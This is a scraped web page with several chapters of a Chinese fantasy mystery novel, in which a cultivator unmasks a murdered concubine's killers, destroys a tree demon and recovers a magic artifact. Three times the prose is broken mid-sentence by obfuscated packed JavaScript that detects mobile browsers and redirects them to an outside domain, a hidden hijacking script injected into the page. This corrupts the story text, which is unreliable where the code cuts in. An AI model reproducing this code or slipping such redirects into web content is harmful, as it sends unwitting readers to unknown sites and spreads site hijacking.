天光昏暗,月亮也不见踪影,唯有府门上飘摇灯笼散出的蒙蒙冷光将她的脸照亮,使得那双冰冷的眼睛如同燃烧的木屑一般闪烁,生与死的界限在掷地有声的话语声中决绝地分离开来。 听她的,活;反之则死。 今夜,在新的一天,新的太阳升起来之前,她是这个摇摇欲坠的世界里唯一的神。 “还有人有话要说么?”韩纪站起身来,拍了拍身上的灰。 无人说话,无数的目光为她重塑金身。 一把长剑被丢到徐云石的面前,韩纪背着手走到徐云石的身边,笑脸相迎,双唇轻启:“动手吧,徐云石,你既然如此深爱锦绣夫人,愿意为她饱受牢狱之灾,便在这里了结戕害她的仇敌,为大家求一条生路。” 徐云石发着抖,低着头,接过长剑,一步步走向跌倒在地、面色惨白的徐夫人。 “夫人……你造了孽……杀了锦绣腹中小儿致使她抑郁而终……如今你便偿命给她吧。”徐云石颤抖着说完这句话,双眼的泪已然流干,长剑指向自己的发妻,闭眼便刺。 “别杀我娘!”幼子踉跄奔出。 徐夫人痛呼一声,长剑嗤的一声刺进她的手臂,温热的鲜血溅到她的脸上,她劫后余生地睁开双眼,脸色却瞬间发白。 泛着寒意的剑刃被殷红的血珠洗得发亮,摇曳的灯火下,幼子倾倒的身躯是天地之间一只微弱的飞蛾。 那把自她夫君手中刺出的剑,伤了她的手臂,割开了她孩子的脖颈。 “安儿!” 长剑落地,鲜血如注。 变故横生,始料未及。 韩纪快步奔上前,推开一旁呆若木鸡的徐云石时,徐夫人已抢先将小儿护在怀中。 “老天爷,稚子何辜啊!”徐夫人哭嚎着,死死捂着小儿流血的脖颈,紧紧拥着怀中渐渐失去生机的身躯,发疯一般喊叫道,“锦绣!千错万错都是我的错,要杀便来杀我,不要杀我的孩子!” 徐云石见伤了自己的孩子,呆愣愣地瘫坐在地。 痛心、惶恐、害怕在他眼中交织成一层密密的纱,他伸出手想牵住幼子那低垂在地、如莲藕一般的小手,却终究颤抖着指向女人悲痛万分的脸庞,责难道:“若非……若非你杀了锦绣的孩子,安儿又怎么会死,安儿如今是代母受过呀!是你害了他!这都是报应!” 韩纪瞪了他一眼,抬手去探幼子鼻息,心想:“好在徐云石及时收剑,伤口不深,还有得救。” 韩纪的手在几近疯癫的女子眼中化作一条响尾的毒蛇,女子颤抖着,咒骂着避开她的手,泪眼婆娑道:“你莫要碰他,你不要害我的孩子!安儿,我命苦的安儿,是娘做错了该死,你为什么要冲出来……” 哭嚎之声一时之间叫许多人低下头落下泪来。 韩纪冷声道:“你再拦我,他就真的死了。” 眼见韩纪替安儿把脉,徐夫人后知后觉地意识到自己的孩子还有救,她看着面色惨白的孩子,全然忘记眼前之人要杀了自己以除怨毒,跪在地上连声哀求:“仙姑,你救救他!只要能救他,我甘愿一死以偿罪孽。” 韩纪并不睬她,双手捻诀,口中念咒:“以吾之名,请天医悬壶,施回生妙术,愈!” 一道清光如流水自韩纪指尖注入小儿脖颈,片刻后,狰狞的伤口愈合存许。 安儿死气沉沉的脸上多了几分活气,粗短如青虫般的双眉因疼痛蹙起,眼珠子在眼皮底下滚动,口中吐露出些呢喃不清的词句。 “爹……别杀我娘……” 徐夫人眼泪翻滚着从眼眶中滚落,将怀中的小儿拥了又拥,抬头对上韩纪双眼,颤巍巍说道:“多谢仙姑搭救,妾身无以为报,愿以死谢之。” 韩纪恢复先前冷若冰霜的神情,揩去手上的血迹,冷冷道:“徐夫人,王婆所说的信究竟是送给谁的,你还不说么?” 徐夫人低垂着头,她的目光在人与人那微不可见的影子上游动。 “那信……是给我的。”徐云石颤抖着打断了徐夫人的话,“锦绣传信于我,求我救他,那时的我被家中生意绊住了手脚,待到我赶到,她的孩子已经没了,险些一尸两命。我本以为此事是意外,现在想来竟是宅中主母……” 提及家仇,他的声音微弱了些许,那些字句仿佛是滚烫的火石,时时刻刻都在灼烧他的喉咙,让他看上去陷入了巨大的痛苦之中。 他轻轻移动到安儿身侧,将那双小手拢在自己的掌心中,又抚摸着徐夫人的发鬓,柔声道:“都是我这个为夫、为父的过错。锦绣是我爱慕的女子,夫人是我携手一生的发妻,无论是安儿还是那个没有出世的孩子,他们都是我的亲生骨肉。我这一生,行差踏错许多,若非要怨,就让锦绣来怨我吧。” 徐夫人早已泪流满面,不住摇头:“老爷……” 他话毕,提起一侧的长剑就要自刎,却听得众人惊呼,待回过头去,徐夫人已然一头撞在木柱上,晕死过去。 悠悠转醒的安儿见状踉踉跄跄地扑上前,看着满头鲜血的母亲,嚎啕大哭。 一时之间,院内众人都被这凄惨的一幕惹得涕泪连连,更有些气愤的又将指责的目光投到韩纪身上。 安儿跪在徐夫人身侧,哭喊道:“不是娘的错,都是我的错,那个时候林娘娘让我帮她带东西到杨家庄,是我贪玩,我为了骗她的饴糖答应了她,但是我没有去,仙长,你救救我娘好不好?” 韩纪心中一喜,拍着安儿的肩膀,道:“你将此事一五一十地说清楚,天明若能寻到大夫,你的母亲保不齐还有救。” 她的身影遮住了安儿的身影,无人看得见安儿说了什么,只听得安儿说:“林娘娘就让我带的就是这个,上面有我看不懂的字,我那天原本是要去的,但是我贪玩……我去了集上看戏……误了时辰……我不是故意的……” 韩纪听完,站起身来问众人:“杨家庄可曾有个姓林的娘子?” 宾客与丫鬟小厮交头接耳,因徐夫人撞柱自杀而吓得躲在阿随身后的春生探头出来,轻声道:“嘉州书院的杨先生是杨家庄的,我听人说他早死的妻子姓林。” 闻言,一旁的人们也纷纷点头。 他们的记忆中似乎真的浮现出那杨家新妇蹲坐在清水溪畔浣纱洗衣的窈窕身影,眼若双星,眉似弯月,确实与这位美丽非常的锦绣夫人有几分相似之处。 “那位女子叫什么?” “好像叫林同秀。” “同秀同秀,锦绣夫人,她们会不会是同一个人呢?” “怎么会?你痴呆么?那杨家媳妇不是被发现在夫婿赶考途中与奸夫偷情,杨家小哥赶回家时,媳妇早被浸了猪笼,他当时与家中人大吵一架,自此大病一场,再不赴考,如今每年他媳妇忌日,他都要去清水溪畔为他媳妇放水灯,只求他媳妇的魂魄可以早日投胎,免受漂泊之苦。” “是啊,那个姓杨的年轻人可是十里八乡出了名的青年才俊,只可惜太过痴情,耽误一生。他当时大病一场,可不是单单为情所困,而是不顾瓢泼大雨,几次跳入清水溪中,将他那红杏出墙的媳妇的尸体从水中捞了上来,据说那尸体捞上来的时候,都泡烂了,惨不忍睹啊惨不忍睹……” “那这锦绣夫人若不是林同秀,为何叫小儿送信到杨家庄呢?” 众人议论纷纷之际,徐夫人大叫一声从地上爬起。 她听见“林同秀”的名字后,双目圆睁,似乎看见了旁人瞧不清的事情,额头的鲜血自她饱满如圆月的脸上滴落,她来不及擦,只是一味躲避着:“是她!她来索命来了!” 安儿扑进她的怀中,抱住她的手臂,哭喊道:“娘,你活过来了!”可徐夫人却没给他任何回应,只是呆呆地坐在地上,抬头仰望着黑云滚滚的夜空,不住地呢喃道:“林同秀回来了……林同秀回来了……” 锦绣夫人的身份已然明了。 韩纪转身看向徐云石,问:“徐云石,这杨家庄被浸猪笼的林同秀怎么就成了你的锦绣夫人,莫非你就是那个奸夫?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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不再理会徐云石的话语,韩纪偏头看向一个小厮,问:“你何时入的徐府?” 那小厮放下手中防身用的棍棒,道:“约莫三年以前。” “你呢?” “大约在三……四年前。” “我也是三年前来的徐府。” “我好像来得比你早半年。” 待到数十个仆从说了自己来徐府的时间,徐云石绝望地闭上了双眼。 夜风中飘摇的灯笼如同一双凶兽的眼睛凝视着院中所有的一切,时明时暗,时远时近,将地上人的影子拉得时高时矮,时大时小。 未待徐云石狡辩,韩纪高声问道:“徐云石,如果林同秀真如你所说是积郁成疾而亡,那为什么仅仅三四年的时间,徐府的下人除去几个心腹外全都换了个遍呢?” 见徐云石不语,韩纪乘胜追击点明:“就是你杀了她,对不对?” 徐云石紧绷着的脸如同遇水的泥像一般融化,他指着韩纪咒骂道:“你休要胡言!她明明——明明是李元那个畜生,他觊觎她的美貌,趁我不在之时奸污了她!她这才自尽的!我承认,我是对她动了心,我是陷害她通奸,我是欺骗了她!但是我对她是真心实意的!李元拿这些事要挟于我,我才不得不谎称锦绣夫人是病死的!如今你放着真正的凶手不管,却对我这个可怜人连番追问!你是被猪油蒙了心肝的蠢货!” 李元脸色大变,只怕又被丢出府门,当下冲上前来反驳:“徐云石你血口喷人!明明就是你!你发现她意图送信给杨家庄,她不愿意与你做妾,你一怒之下,拔下她发间的木钗,刺入她的心脏之中,如今那根木钗还插在她的尸骨之上,如若诸位不信,立刻挖坟掘尸看我所言是真是假!” 韩纪冷目看着他二人的争辩,只道:“是与不是,死了就知道了。” 她话音刚落,被经幡包裹住的人头破布而出。那人头桀桀笑着,女人纤细而嘶哑的声音传来:“原来是你!竟然是你!还我命来!还我命来!” 人头冲着徐云石飞去,咬住他的耳朵,咬住他的嘴巴,在一声声惨叫声中,徐云石慌不择路,抱住一侧的李元跌倒在地。 徐云石踹开人头,扯着衣襟与他厮打起来。 二人打得难舍难分,在地上抱着滚动,渐渐滚进黑暗之中。 18. 水落石出 一阵咒骂与嘶吼声中,传来几声惨叫声。 春生点起纱灯,蹑手蹑脚地探去,只见忽明忽暗,飘摇不定的海棠树下,两个人的身躯交叠在一起,一动不动。她壮着胆子再看,那在上的人影倏地抬起头来,粘稠的鲜血沾满了他的下颌,活像个血染的美髯公。 她“啊”的一叫,踉跄撤步,手中纱灯怦然落地,铜烛盘哐啷一声摔了个翁响,蜡烛引着了素纱悄然间火蛇高起,将树下情景照得分明。 红腾腾的火光下,李元如同猛虎般撕咬着徐云石的喉咙,只是人的牙齿不如猛兽的尖锐,几番撕磨中,血肉如薄饼一般在他口中衔着,牙齿如同磨盘一般在皮与肉上反复碾压。 百般苦痛袭来,徐云石面色血红,双目圆睁,嘴中咿呀惨叫,双手不住地掐着李元的嘴脸,双腿又蹬又踢,终究是逃脱不开。 海棠花瓣簌簌落下,李元茫茫然抬起头,鲜血喷洒他一脸,他却毫无所察一般一骨碌从地上爬起,将喉咙被咬出个大洞的徐云石丢翻在地,如扑蝶孩童一般雀跃着抓着掉落的花瓣。 渔歌又响起来,人头如个小球一般在树边滴溜溜地转。 李元低下头去,深情款款道:“小美娘,我陪你来耍。”待他蹲在地上,与人头平视之时,人头猛的跳起,咬住他的鼻子,顷刻间将他眼耳口鼻咬个七零八落,他却不觉疼痛,只是一味的手舞足蹈,仿佛正在与美人树下共舞。 诡异万分的场景吓得众人连连后退,李元抱着人头倒在脖子汩汩流着血的徐云石旁边,渐渐也没了声息。 二人的鲜血如同溪流一般汇聚在一处,浸入海棠花泥中。 一缕妖气自那人头之中散出,如一缕青烟一般飘向夜空之中。 一城的海棠树一瞬尽数凋零,满城花落如香雪,美不胜收。 韩纪指尖轻捻,一道银光从她指尖射出,将那一缕青烟聚拢在手心。 火光闪现,青烟如小蛇一般扭动着被烧成灰烬,淡淡的妖气残存在她手中。 黑雾渐渐散去,院落中打坐的弟子身上金光大盛,气力不济的吐出黑血昏死过去,颇有能耐的睁开双眼再复清明,便是躺在板车上的李林钰都嘟囔着喊疼,悠悠转醒。 遮住月亮的黑云不知何时被夜风吹散,无尽的清辉照耀下来,如同一柄柄长剑刺入每一个院落。 院中众人跪拜在地,感激涕零。 韩纪兀自走到枯萎的海棠树下,取了铁锹将树底翻开,果见一具白骨,却不见李元所说的那只木簪。 “林娘子的尸骨该葬在何处呢?”春生扑灭了火堆,轻声道,“我听说她的父母早就死了,家中就剩下她一个。” 韩纪思索着,忽道:“她三番两次寻人往杨家庄送信,应该是想回到那杨文忠身边,既是如此,便麻烦你与阿随一起送她回去。” 二人方将白骨装进木匣之中,身后便传来迟缓的脚步声。 韩纪回头,卫朔朝她作揖道:“楚师妹,这一次多亏有你。”在他身后,付子英撅着还在流血的屁股,拖着另一名女弟子的手一步一步往厅内挪去。 韩纪将木匣递给春生示意她与阿随先行离去,目光越过卫朔挺拔的身姿看向正在安抚宾客的仇千水与裴云齐,却恰好对上了裴云齐怀疑的目光。 韩纪不动声色地别开目光,道:“卫师兄过奖,歪打正着罢了。” 她话刚说完,仇千水便将眼眸对准了她。那眼神依旧是高傲轻蔑,那声音笑道:“你也知道你是歪打正着就好了。性命攸关之际,你不想着与妖邪同归于尽,却想着如何化解妖邪的怨念,将数十人甚至一城人的性命都寄希望于此,可见你平日里修炼之时也是个投机取巧之辈。” 卫朔剑眉微蹙,不满道:“不管怎么说,楚师妹今日都救了我们的性命。” “卫朔,你未免太过短视。”仇千水推开挡在身前的裴云齐,眼睛里的寒光射出来,隔着几具白布覆盖的尸身紧盯着韩纪的脸,挑衅地说,“今日她要是能凭真本事救下我,我无话可说,可我们是生还是死是所谓的怨毒决定的,同她有什么关系。她除了逼死了几个百姓,又做了什么?” 卫朔反驳道:“那些人不无辜,他们有罪,该死。楚师妹也是为了救我们,才想方设法化解怨毒。” “他们有没有罪、该不该死是官府判定,不是她!她用几个没有修为的百姓的性命换了我们的性命,难道值得嘉奖效仿么?身为仙门弟子,我们应该驱妖除邪,保护百姓,而不是像她一般向妖邪低头让利以求平安,谁能保证妖邪杀了那些有罪之人,不会再杀其他无辜之人?”仇千水严肃地问。 卫朔张口欲辩,却听得女子声音从身后传来。 韩纪答道:“我能保证。” 卫朔偏头看去,透着点点星光的屋檐洒满了皎洁月华。女子立在海棠树下,一半的面容被黑夜贪婪地吃去了,另一半则反映着清辉。 方才种种挑衅、揣测、歪曲的话语都没有使她的情绪波动半分,她眉目舒展,神情平静,宛如无言的明月。 夜风吹着屋檐下的素色灯笼,灯笼哧溜哧溜转动着,片片海棠花瓣随风飘落,因着沉沉夜色,那花瓣在月光下晶莹透亮、宛如美玉。 一驾马车缓缓行到徐府门口停稳,阿随吁了一声,放下手中的缰绳十分不善地盯着院中众人,春生也掀开帘子探出头来,道:“马车找来了,楚姐姐,我们先走了!” 韩纪朝他们点了点头,待到马车离去,韩纪也准备去找寻树妖的下落。 毕竟,怨毒虽解,神木简尚未找回,那杀了许多人的树妖的本体还在城外,她再不去抓,真要让妖孽跑了。 仇千水见她要走,当即反问:“你凭什么保证?” 韩纪道:“就凭我是我。” 话毕,她不再理会这群小辈的口舌之争,转身朝门口走去。仇千水却忽然扯住了她的衣袖,拉扯之间,锦囊落下,里头的那只玉牌落在地上。 韩纪担心玉牌有所损伤会让楚清妙的魂魄消散,下意识弯腰去捡玉牌,那玉牌却被仇千水抬脚踩住。 仇千水挑眉道:“楚清妙,你还不承认你与妖族有勾结?我看今日之事就是你在捣鬼!” 韩纪自认为自己是长辈,一直对这些仙门小辈诸多忍让,可眼下她看着那只踩着玉牌的脚,一股火气便由腹腔之中往上涌。 韩纪抬眼看着仇千水,冷声道:“把脚拿开。” 仇千水双手抱胸,脚尖微转,摩擦着脚下的玉佩,轻笑道:“楚清妙,你们玉苍派小门小户,就是做弟子玉牌也是用的最次等的,如果你能证明你与妖族没有勾结,今日徐府的惨案与你无关,我另赔你——” 话未说完,啪的一声,仇千水被打得偏过头去,唇畔流出鲜血。 仇千水惊愕之余扬起手就要反击,却被韩纪牢牢抓住。 手腕上传来剧痛,仿佛骨头都要被捏碎,仇千水疼得皱眉,膝盖又被人踢了一脚。她如今灵力耗尽,压根没有回击之力,软绵绵地跌倒在地。 韩纪弯腰将地上的玉佩捡起,吹了吹上面的灰,重新放入锦囊里。 “你敢打我?”仇千水不可置信地捂着自己的脸,恶狠狠地瞪着韩纪,道:“你敢打我?你不怕死吗?” 韩纪看也没看她一眼,冷冷道:“我向你证明?你算什么东西。”说罢,她转身离去。 裴云齐连忙上前将仇千水从地上扶起,仇千水还想追上韩纪,却被卫朔挡住。 卫朔淡淡道:“仇道友,诸位长老应该要到了,如果叶长老知道今天是玉苍派的弟子大出风头,你恐怕……” 闻言,仇千水想起师父往日对自己的严厉训诫,她猛地一挥袖子,狠狠道:“便宜她了!下次再见,我一定要把今天的账讨回来!” 韩纪出了徐府大门,催动灵力散出手中那点稀薄的妖气,单手捻诀,一张金符在她指尖凝出,化作一根金线紧随那妖气飞入空中。 韩纪脚尖轻点,身影紧跟着那根金线追去。 如棋盘一般 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941784|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布局的长街上,已有商户零零星星地点起油灯。 腰间缠着毛巾的伙计正推开木门,不算漆黑的天空中已经有了点点滴滴白日的踪迹,湿漉漉的水露正在韩纪随风颤动的发上凝结。 天蒙蒙亮,韩纪紧跟金线进入一个村庄,村庄之中道路蜿蜒窄小,妖气散开,金线无法继续追踪,便盘旋在路口上空。 韩纪落在泥泞的村道之上,闭目感受着妖气的波动时,鼻子轻嗅,缓缓睁眼。 一个老伯推着一车牛粪从她身前走过,对她笑笑。 韩纪待到老伯走远,再次闭上眼睛感受妖气波动。 一个大娘抓着两只老母鸡从她身侧走过,让她让让。 韩纪好不容易等着大娘走开,再次闭上眼感受妖气波动。 良久,她睁开眼睛,抬脚往巷子中追去,耳畔便响起熟悉的声音。 “楚姐姐!” “楚姐姐!” 韩纪偏头看去,晨曦之中,春生抱着木匣掀开车帘从马车上跃下。 她小跑到韩纪跟前,韩纪的目光却落在那匹几乎要累死的马上,随后望向赶马的阿随。 阿随站在春生身后偏过头去,避开韩纪的目光。 “姐姐,你怎么在这里?”春生笑着,双眼亮晶晶地凝视着韩纪的面庞,脸颊通红地说,“刚好,我想见你。” 韩纪道:“我来此处抓妖,怎么?杨文忠的家在此处么?” 春生点点头,一手抱着木匣,一手往小巷中指去:“在来的路上我问了人,估摸着是往这处去,种着翠竹那个人家应当就是了。” 韩纪望去,那户人家便是方才她察觉到有妖气散发的地方。 担心她的安全,韩纪打发她回车上去,又叫阿随保护她,自己捧着木盒,沿着长满青苔的湿滑小径往里走。 柴门未拴,她推开木门,一股腐烂沉旧的木头味道扑面而来,再往里走,两幅单薄的棺椁映入她的眼帘。 落满香灰、沾满泥土的木屋里,一男子披麻戴孝跪在灵柩前烧着纸钱。 几根褪了色的线香在生锈的香炉之中燃烧着,在嘎吱一声的推门声中吐出最后一点红润的生机,悄然熄灭。 “杨文忠在么?”韩纪站在门边,轻扣门扇。 男子回头,双眼凹陷,形容枯槁,满头花发乱蓬蓬,怅然答道:“在下便是杨文忠,姑娘有何贵干?” 韩纪一边查看妖气藏在何处,一边将装着林同秀尸骨的木盒递于他,道:“你的妻子被嘉州城徐云石强占杀害,这是她的尸骨,我来送回,节哀。” 杨文忠闻言一怔,呆愣愣地接过那木盒,摩挲良久不敢打开,颤声问道:“徐云石那恶人……现下如何?” 韩纪答道:“死了,害她的恶人都死了,因果轮回,报应不爽。” 杨文忠浑身颤抖,几次想起身却都无法站立,最终狼狈地跌下蒲团,注视着那木头盒子止不住地落下泪来。 “秀娘,我找你找得好苦,……与我夫妻一场,竟是咫尺天涯,生离死别……我日日在清水溪畔为你念经超度,却不曾想你为奸人所害……你莫怕,我打理完父母丧仪便来寻你,到时我们奈何桥下再做一对鬼夫妻……” 韩纪见他哭得厉害,想与他块丝帕擦泪,却只从袖中翻落一片枯黄的海棠树叶,想来是掘骨之时一并挖出的,也算是林同秀的遗物。 她递于他,只道:“如今恶人之人已死,她也是大仇得报。可怜她未死之前,三番两次差人与你报信,你未得知,若是你收到了她求救的信件,事情便会不同了。” 杨文忠见那片枯黄的海棠树叶,颤巍巍接在手中,捂在胸口,终于痛哭失声,良久道:“秋日风大,落叶纷多,却不曾想是你向我报信来了!若知是你,我必定一片片掀开来看,一张张翻起来瞧!秀娘,天意弄人,致使你我错过!” 韩纪收了脸上关心神色,待他哭嚎声弱了,轻飘飘地问:“我只是给你一片落叶,你怎么说出这么多话来?” 19. 神木简出 杨文忠哭声顿止,红透的双眼不解地盯着韩纪。 韩纪俯视着他,企图在他的面上看见几分不宁的心绪,可落在她眼中的始终都只是一个深爱妻子的可怜男人的影子。 她微蹙着眉,不解地问:“你未曾收到过她的信件,怎么见到一片海棠树叶便知她用指甲在树叶上掐字给你报信呢?” 杨文忠那张沉痛的脸上这才显出些许惊慌的神色,他翻过树叶一看居然一字也无,张嘴欲辩,眼前的女子却转身离去了。 他不知怎么,心中忽然害怕起来,双手也竟然真的颤抖起来,他胡乱伸手想抓住女子离去时随着步伐而聚散的衣摆,却只是扑了空,狼狈地再跌一跤。 待到再抬头,屋门已闭,他奔至门前,见那女子还站在廊下,便想与她解释清楚。 不管是什么,都要解释清楚。 “我……”开口的瞬间,那女子的身影却朝他走来。 透过破败的门扇,如同水边摇摆的芦苇一般轻柔的歌声传进他的耳朵,他睁大了眼睛,喃喃道:“秀娘……” 韩纪立在茅屋前,望见空中黑云压顶,无法遏制地长叹了一声。 几近倾颓的土墙上,一支海棠探出头来。 身后的堂屋之中传来几声闷响,男子的哭嚎声凄厉非常。 待到声音停歇,韩纪回身看去,微掩着的木门后,男子歪斜倒地,撞翻了烧纸的火盆;火星溅出,燃着了拖地的灵幡。 黑烟慢慢升腾起来,眨眼间便吞噬了大半个茅屋。 飞腾的火灰中点点发着光的妖气逸散,汇聚成一根藤蔓飞速往屋后逃去。 救火的人提着水桶赶来之际,韩纪已跃上矮墙,身影消失在黑烟之中。 青木杖飞旋而出,拦住藤蔓去处。 藤蔓回缩之际,韩纪拽住了它的尾巴,将它高高举起,重重砸下。 一道青光闪过,树妖显出原形。 没了怨毒之力,他虚弱了许多,头上的海棠花枝凋零,双脚已成树根之状。 韩纪拔出插进地里的青木杖,走到树妖面前,问:“神木简呢?” 树妖害怕极了,颤颤巍巍地答道:“神木简本来就不是我的东西,一直以来,我一直被怨毒之力操控,怨毒完全消散之时,神木简便随着怨毒之力一起走了,现下不在我这里。” 韩纪确实没在他身上感受到神木简的力量,她单手捻诀,手中青木杖高举便要朝树妖头顶落下。 树妖眼见逃脱无望,扑倒在韩纪脚边,扯着她的衣裙下摆,不住哀嚎:“仙长你放过我吧!” “仙长,求求你了!饶我一命,我往后必定一心向善,不会害人的。” 树妖的泪水从树皮一般的脸上滑落,一点点绿芽从他的脸上长出来。 韩纪冷冷道:“你杀了那么多人,我放不得你。” 树妖哭喊道:“仙长饶命!我本来只是一棵普通的海棠树,长在锦绣阁中日日听那女人哭泣,后来那女人死在我身下,鲜血流入我体内,她的怨念也纠缠着我,让我为她报仇……仙长,这一切都不是我本意!还求仙长看在我被怨毒侵蚀的份上,高抬贵手,放我一条生路!” “我给您磕头了!放过我吧,仙长!” “大慈大悲,救苦救难,您放我一马吧!” 韩纪并不理会他的哭嚎,冷眼看着他,淡淡问:“林同秀一心报仇,她的怨念只会杀害她之人,而你今日被怨毒侵蚀,可杀三十余人;明日若被邪魔侵蚀,可杀多少人呢?” 树妖的瞳孔震颤着,一滴眼泪挂在眼中,心知今日必死无疑,再顾不得疼痛转身朝阵外扑去说罢。 韩纪捻诀施法,除妖阵成。 阵法之中,无数金线如电般穿梭,树妖的身体被金线洞穿,淡绿色的汁液顺着金线滴入地面。 “大仙……饶我一命吧大仙……” “求求你了……我给您当牛做马……” 哀求声渐渐平息,树妖的躯体化为一截腐朽的枯木。 韩纪收起除妖阵,转身离去。 片刻后,一双黑亮的眼睛在暗处睁开。他紧盯着韩纪的背影,面容隐在阴影之中,看不出喜怒。 韩纪赶回杨家,几间草屋已经被焚烧殆尽。 村民将火扑灭,把杨家三口的尸身从火海之中抢出,摇头叹息道:“这杨家也真是流年不利,一家三口都是好人,怎么会落得如此下场。” 另一名村民找来草席将三具焦黑的尸体盖了起来,也叹道:“是啊,上天真是不公,好人没好报。” 韩纪站在废墟之外,并未探查到神木简的气息,她眉头紧蹙,心想:“怨毒已散,树妖已死,神木简却不翼而飞,实在是太过奇怪。” 她忽然想到什么,冲进废墟之中,在燃烧的砖瓦碎石之中翻找着,却没找见那只装着林同秀尸骨的木匣。 “难道说木匣也被烈火烧成黑灰了?” 韩纪沉思片刻,后知后觉地觉察出些许古怪,转身朝马车奔去。 马车停在路口一棵柳树下,马儿悠闲地吃着草,阿随手握缰绳、头盖斗笠坐在马车上。韩纪一把掀开他的斗笠,问:“春生呢?” 阿随呼吸停住,别开脸去,道:“在马车里。” 韩纪掀开车帘,车里的角落中放着些杂物,却没有春生的踪影。 “她不在马车里,你一直在这里守着么?” 阿随有些心虚,答道:“方才我确实因为口渴离开了一小会……但我回来后一直闻见她的味道……”他低下头去,道:“会不会她害怕主家责罚,先行回府了?” 韩纪心中烦闷非常,便叫他赶车回徐府找春生,撂了车帘便暗暗回想:“杨家庄也不曾得见神木简之力,莫非那东西还在徐府之中?” 马车哒哒塔塔行至徐府府门,韩纪微一眯眼便感受到冲天灵气,恰巧见徐夫人披麻戴孝牵着安儿站在门口与宾客致歉,她招手唤道:“徐夫人,仙门长老来了么?” 徐夫人哀哀怨怨地望着她,别了宾客后便牵着安儿走到马车边,冷声道:“明霞宫的二宫主决明真人和仙门道盟的叶长老来了,楚仙长要不要进去拜见?” 韩纪担心徒生事端,思量着倒不如等这些人走了再进府查看,便婉言推拒。 “你自是不敢了,二位长老都说那海棠树妖不过小妖,若等他们来便可轻易斩杀。你没这本事却夸下海口,倒叫我夫君平白无故丢了性命。”徐夫人掩面啜泣,包住耳朵的白纱透出血来,安儿瞧见了也哭起来,孤儿寡母,倒让人于心不忍,只可惜,韩纪的慈悲心肠只有一点。 韩纪懒得和她争 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15941785|177381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吵,只道:“你叫你府中丫鬟春生出来,我有几句话要问她。” 徐夫人擦去眼泪,牵着安儿登上石阶,满脸怨怼地道说:“我府中未曾有过什么叫做春生的丫鬟,楚仙长怕也是被妖孽迷了心智。” 韩纪心中一惊,一时分辨不出她说的是真是假,余光瞥见仙门弟子的身影,只好让阿随先驱车离开。 车辆轱辘轱辘走出数十丈,阿随勒马停车,低声道:“那小孩追出来了。” 韩纪掀开车帘回望,安儿挣脱了徐夫人的手踉踉跄跄地奔上前来。 行至马车前,他脸上沁满汗珠,面色通红。 “他们都说是你害死了我爹,让我找你寻仇。”安儿刻意加粗了声色,强忍着不让眼泪落下来,但那声音仍旧是瓮声瓮气的。 韩纪看着他通红的眼睛,问道:“是我害的,你待如何?” 小孩咬紧牙,神色恨恨道:“杀父之仇不共戴天,不管是谁害了我爹爹,我终有一天都要为父报仇!” 神色慌张的徐夫人扑过来将安儿抱在怀中,战战兢兢地瞄韩纪的脸。她已见过这女子的狠毒心肠,生怕这女子手起刀落,要了自己孩子性命。 韩纪沉默良久,放下车帘,冷声回道:“小子,我等着你来报仇。” 马车驶出,车帘外,阿随不解地问:“为何不与他解释?” 韩纪闭眼休息,叹道:“黄毛小儿懂得些什么?如果他恨我可以修得一身本事,倒也是个好事。” 阿随道:“你不怕他真来杀你?” 韩纪道:“想杀我的人多了去了,不差这一个。” 说话间,马车颠簸,角落堆放的杂物坍塌,一个木匣落在韩纪脚下。 这木匣与装着林同秀尸骨的木匣一模一样。 韩纪捡起木匣,在手指触及木匣搭扣的瞬间,木匣咔哒一声自行打开。 木匣里,一根简朴的木钗静静陷在红布之中,尾部隐隐有殷红的血迹,刻着同秀二字,在马车颠簸中竟放出神光。 “神木简,真是踏破铁鞋无觅处,得来全不费工夫。”韩纪惊喜交加,面上的喜色却忽然消散了。 木匣的盒盖上,刻着两行小字。 “楚姐姐,多谢你,我走了。” 颠簸的马车里,车帘被风挽起。 一只只灵蝶从刻字中飞出,待到灵蝶飞出车窗,木匣之上的小字消散,神木简上篆刻的痕迹也被抹平。 春生的脸在韩纪的脑海中飞速的消失了,她的声音,她的气味,她楚楚可怜地拽着自己衣袖时望向自己的双眼在一瞬间都变得模糊而遥远。 马车驶出嘉州城,停在清水溪畔。 阳光洒下来,沙堤上几个结伴浣纱洗衣的女子的影子落入清溪的水中,她们眉眼带笑,哼唱渔歌,似乎天地之间没有比她们手中衣裳还要重要的事物了。 韩纪坐在阿随身侧,目光落在远处女子的身影上,沉默良久问:“你还记得春生的样子么?” 阿随微微愣神,道:“春生……是谁?是徐府的哪个丫鬟么?” 韩纪没答他的问题,她知道的,春生不是徐府的小丫鬟。 她是林同秀的执念,因为死前太过凄惨,死后魂魄散尽,却留下这一缕执念日日夜夜在死去之地盘桓,不得超生,不得解脱。 20. 虎口救人 山洞里,潮湿的木柴荜拨作响,溢出如同云朵一般柔软的白烟。 神木简被一股纯粹的灵力托在半空之中,透出莹润的光泽。 